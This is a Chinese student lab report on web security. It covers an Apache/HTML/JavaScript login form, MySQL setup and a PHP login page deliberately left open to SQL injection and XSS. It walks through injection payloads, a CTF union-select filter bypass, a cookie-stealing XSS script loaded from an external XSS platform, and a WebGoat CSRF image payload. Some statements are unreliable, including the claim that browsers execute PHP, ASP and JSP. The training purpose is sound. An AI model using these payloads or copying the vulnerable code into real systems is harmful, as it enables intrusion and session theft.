Exp8-Web综合
Exp8 Web综合
一、实践目标
(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表。
(4)Web后端:编写PHP网页,连接数据库,进行用户认证。
(5)最简单的SQL注入,XSS攻击测试。
(6)选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例。
二、实践内容
1、Web前端HTML
apache简介
-
Apache HTTPD又可以简称为httpd或者Apache,是Internet使用最广泛的web服务器之一,使用Apache提供的web服务器是由守护进程httpd,通过http协议进行文本传输,默认使用80端口的明文传输方式。
-
搭建apache的方法:
- 由于kali自带apache2,所以使用
vim /etc/apache2/ports.conf
修改Apache的端口文件,将端口改为http对应的80号端口(一般默认80端口) - 使用
netstat -tupln |grep 80
查看80端口是否被占用。如果有,使用kill+进程号杀死该进程或使用kill -s 9 进程号强制杀死进程 - 使用
systemctl start apache2
开启Apache服务 - 使用
systemctl stop apache2
关闭Apache服务
- 由于kali自带apache2,所以使用
HTML简介
- HTML是超文本标记语言(Hyper Text Markup Language),标准通用标记语言下的一个应用,HTML 不是一种编程语言,而是一种标记语言 (markup language)。“超文本”就是指页面内可以包含图片、链接,甚至音乐、程序等非文字元素。超文本标记语言(或超文本标签语言)的结构包括“头”部分和“主体”部分,其中“头”部提供关于网页的信息,“主体”部分提供网页的具体内容。
GET与POST方法
- GET和POST是HTTP请求的两种基本方法。对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据),数据能够在url中看到。对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
- Get 方式传输的数据量非常小,一般限制在 2 KB 左右,但是执行效率却比 Post 方法好;而 Post 方式传递的数据量相对较大,它是等待服务器来读取数据,不过也有字节限制,这是为了避免对服务器用大量数据进行恶意攻击。
编写一个含有表单的HTML
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<style type="text/css">
.divForm{
position: absolute;/*绝对定位*/
width: 300px;
height: 200px;
text-align: center;/*(让div中的内容居中)*/
top: 50%;
left: 50%;
margin-top: -200px;
margin-left: -150px;
}
</style>
<body>
<div class="divForm">
<h1 align="center">登陆界面</h1>
<form name="form1" method="post" action="index.php">
<table border = "0">
<tr>
<td>用户名:</td>
<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
<td>密    码:</td>
<td><input type="password" name="userpwd" value="" /></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
</tr>
</table>
</form>
</div>
</body>
</html>
效果:
2、Web前端javascript
- 编写JavaScript验证用户名、密码的规则
<script type="text/javascript">
function checkForm(){ //定义javascript函数名
if (form1.username.value == null || form1.username.value==""){ //判断表单用户名值是否合法
alert("请输入用户名"); //弹窗警告
return false; //返回值false,阻止表单提交
}
if (form1.userpwd.value == null || form1.userpwd.value==""){ //判断表单用户名值是否合法
alert("请输入密码"); //弹窗警告
return false; //返回值false,阻止表单提交
}
return true;
}
</script>
html完整代码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<style type="text/css">
.divForm{
position: absolute;/*绝对定位*/
width: 300px;
height: 200px;
text-align: center;/*(让div中的内容居中)*/
top: 50%;
left: 50%;
margin-top: -200px;
margin-left: -150px;
}
</style>
<body>
<div class="divForm">
<h1 align="center">登陆界面</h1>
<form name="form1" onsubmit="return checkForm();" method="post" action="index.php">
<table border = "0">
<tr>
<td>用户名:</td>
<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
<td>密    码:</td>
<td><input type="password" name="userpwd" value="" /></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
</tr>
</table>
</form>
</div>
</body>
</html>
<script type="text/javascript">
function checkForm(){
if (form1.username.value == null || form1.username.value==""){
alert("请输入用户名");
return false;
}
if (form1.userpwd.value == null || form1.userpwd.value==""){
alert("请输入密码");
return false;
}
return true;
}
</script>
- 在用户点击登陆按钮后回显“欢迎+输入的用户名”
写一个用于接收用户登陆数据的index.php
文件:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Welcome!</title>
</head>
<body>
<h1 align="center">欢迎!<?php echo $_POST['username'];?></h1> //将接收到的username数据打印在页面中
</body>
</html>
效果:
- 尝试注入攻击
方法:登陆时将用户名改为<script>alert("hack!")</script>
,使页面弹窗。
3、Web后端MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
-
安装mysql:新版kali自带mysql,如果想要安装在win10,可以参考:windows10上安装mysql(详细步骤)
-
启动mysql:输入
systemctl start mysql
-
建库
-
输入
mysql
指令,进入mysql数据库中。 -
输入建库指令:(例如:
CREATE DATABASE CTF;
)CREATE DATABASE [IF NOT EXISTS] <数据库名> [[DEFAULT] CHARACTER SET <字符集名>] [[DEFAULT] COLLATE <校对规则名>];
-
输入创建用户指令:
CREATE USER 'student'@'localhost' IDENTIFIED BY '20181221';
CREATE USER 'username'@'host' IDENTIFIED BY 'password'; username:你将创建的用户名 host:指定该用户在哪个主机上可以登陆,如果是本地用户可用localhost,如果想让该用户可以从任意远程主机登陆,可以使用通配符% password:该用户的登陆密码,密码可以为空,如果为空则该用户可以不需要密码登陆服务器
-
修改密码:
方法1: 用SET PASSWORD命令 首先登录MySQL。 运行--->输入 cmd 回车 登陆:mysql -u root -p1234 格式:mysql> set password for 用户名@localhost = password('新密码'); 例子:mysql> set password for root@localhost = password('123'); 退出:mysql> quit 方法2:用mysqladmin 运行--->输入 cmd 回车 登陆:mysql -u root -p1234 格式:mysqladmin -u用户名 -p旧密码 password 新密码 例子:mysqladmin -uroot -p123456 password 123 退出:mysql> quit 方法3:用UPDATE直接编辑user表 首先登录MySQL。 运行--->输入 cmd 回车 登陆:mysql -u root -p1234 mysql> use mysql; mysql> update user set password=password('123') where user='root' and host='localhost'; mysql> flush privileges; 退出:mysql> quit 方法4:在忘记root密码的时候,可以这样 以windows为例: 1. 关闭正在运行的MySQL服务。 2. 打开DOS窗口,转到mysql\bin目录。 3. 输入mysqld --skip-grant-tables 回车。--skip-grant-tables 的意思是启动MySQL服务的时候跳过权限表认证。 4. 再开一个DOS窗口(因为刚才那个DOS窗口已经不能动了),转到mysql\bin目录。 5. 输入mysql回车,如果成功,将出现MySQL提示符 >。 6. 连接权限数据库: use mysql; 。 6. 改密码:update user set password=password("123") where user="root";(别忘了最后加分号) 。 7. 刷新权限(必须步骤):flush privileges; 。 8. 退出 quit。 9. 注销系统,再进入,使用用户名root和刚才设置的新密码123登录。
- 建表:
CREATE TABLE 表名称 ( 列名称1 数据类型, 列名称2 数据类型, 列名称3 数据类型, .... ) 例如: CREATE TABLE IF NOT EXISTS `user`( `id` INT UNSIGNED AUTO_INCREMENT, `username` VARCHAR(100) NOT NULL, `passwd` VARCHAR(40) NOT NULL, `flag` VARCHAR(40) NOT NULL, PRIMARY KEY ( `id` ) )ENGINE=InnoDB DEFAULT CHARSET=utf8;
-
4、Web后端:编写PHP网页,连接数据库,进行用户认证
- 编写PHP网页,连接数据库
<?php
$con=mysqli_connect("127.0.0.1","student","20181221","CTF");
if (!$con)
{
die("Connection failed: " . mysqli_connect_error());
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<style type="text/css">
.divForm{
position: absolute;/*绝对定位*/
width: 300px;
height: 200px;
text-align: center;/*(让div中的内容居中)*/
top: 50%;
left: 50%;
margin-top: -200px;
margin-left: -150px;
}
</style>
<body>
<div class="divForm">
<h1 align="center">登陆界面</h1>
<form name="form1" method="post" action="easy_sql.php">
<table border = "0">
<tr>
<td>用户名:</td>
<td><input type="text" name="username" value="" /></td>
</tr>
<tr>
<td>密    码:</td>
<td><input type="password" name="passwd" value="" /></td>
</tr>
<tr>
<td></td>
<td><input type="submit" value="提交" /> <input type="reset" value="重填" /></td>
</tr>
</table>
</form>
<?php
$username=$_POST["username"];
$passwd=$_POST["passwd"];
if($username&&$passwd) {
$result = mysqli_query($con, "select * from user where username=$username and passwd=$passwd");
$row = mysqli_fetch_array($result);
if ($row) {
echo "welcome!".$row['username'];
} else {
echo $username."是hacker!!!";
}
}
?>
</div>
</body>
</html>
- 进行用户认证,输入不存在的用户名和密码。
- 输入正确的用户名和密码进行登陆。
5、最简单的SQL注入,XSS攻击测试
SQL注入
在用户名输入1 or 1=1#
,密码随便输
结果:
XSS攻击
在用户名输入<script>alert(1)</script>
,密码随便输
6、选做Webgoat或类似平台的SQL注入、XSS、CSRF攻击各一例
这里推荐使用i春秋平台,和CTFHUB平台网址是:i春秋 CTFHUB
SQL注入
打开页面提示了flag{在数据库中},注入点在?id=
fuzz发现过滤了and、or、select、=、>、<
等字符,但是可以用<>绕过
输入1 o<>rder by 数字#
判断字段数,发现字段数为3。
输入1 union sel<>ect 1,2,3#
,发现回显字段为2
输入1 union sel<>ect 1,database(),3#
查询数据库名
输入1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'#
查询数据库中的表名
输入1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'#
查询info表中的字段名
输入1 union sel<>ect 1,flAg_T5ZNdrm,3 from info#
,获取flag数据
XSS
打开环境看到一个页面,会将输入的名字显示到页面中,我们输入<script>alert(1)</script>
成功弹窗。
经过测试,第二个输入框输入URL时,返回SUCCESS
,猜测在后台进行访问。
尝试使用XSS Platform,在第一个框中输入包含脚本的网址:<sCRiPt sRC=//xss.pt/Sqg3></sCrIpT>
。通过第二个框,访问包含了XSS脚本的本页面URL:
在XSS平台上可以看到已经获取到了cookie中的flag信息。
CSRF
这里我用服务器搭了一个WebGoat平台,有需要的同学可以登陆进行实验(需要连接内网):WebGoat
- 首先,选择Cross Site Request Forgery (CSRF),目标是向新闻组发送电子邮件。 该电子邮件包含一个图像,其URL指向恶意请求。 在这里,URL应该指向“攻击”servlet,其中包含课程的“屏幕”和“菜单”参数,以及具有任意数值的额外参数“transferFunds”(如5000)。我们可以通过查找“屏幕”来构建链接 “和”菜单“值在右侧的参数插入。 当时通过身份认证的CSRF电子邮件的接收者将转移资金。 当本课程的攻击成功时,左侧菜单中的课程名称旁边会显示一个绿色的勾号。
- 构造payload
<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>
- 提交之后访问20181221,可以看到出现了一个勾,说明已经完成了CSRF攻击
三、实践总结与体会
基础问题回答
1.什么是表单
-
表单对于用户而言是数据的录入和提交的界面,对于网站而言获取用户信息的途径,在网页中主要负责数据采集功能。
-
表单的基本组成部分:
表单标签:这里面包含了处理表单数据所用CGI程序的URL以及数据提交到服务器的方法。
表单域:包含了文本框、密码框、隐藏域、多行文本框、复选框、单选框、下拉选择框和文件上传框等。
表单按钮:包括提交按钮、复位按钮和一般按钮;用于将数据传送到服务器上的CGI脚本或者取消输入,还可以用表单按钮来控制其他定义了处理脚本的处理工作。
2.浏览器可以解析运行什么语言
浏览器可以解析运行HTML、JavaScript、PHP、ASP、JSP等语言。
3.WebServer支持哪些动态语言
支持php、asp.net、jsp、python等动态语言
4.防范注入攻击的方法有哪些
1.采用预编译语句集,避免使用解释程序,防止被非法执行命令。
2.及时更新软件和系统版本,防止被最新的漏洞攻击。
3.避免出现一些详细的错误消息,使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、规则等。
4.使用专业的漏洞扫描工具,如Acunetix的Web漏洞扫描程序等。
5.要在Web应用程序开发过程的所有阶段实施代码的安全检查,在部署Web应用之前实施渗透测试。
实验体会
本次实验是关于WEB综合应用的各种操作,在WEB的综合应用方向,有很多需要学习的知识点,单是实验中的这几种漏洞都有许多不同的利用方法和姿势,更别提其他更多的漏洞。WEB安全是很重要的一个方向,要想做好安全,需要学习更多的知识。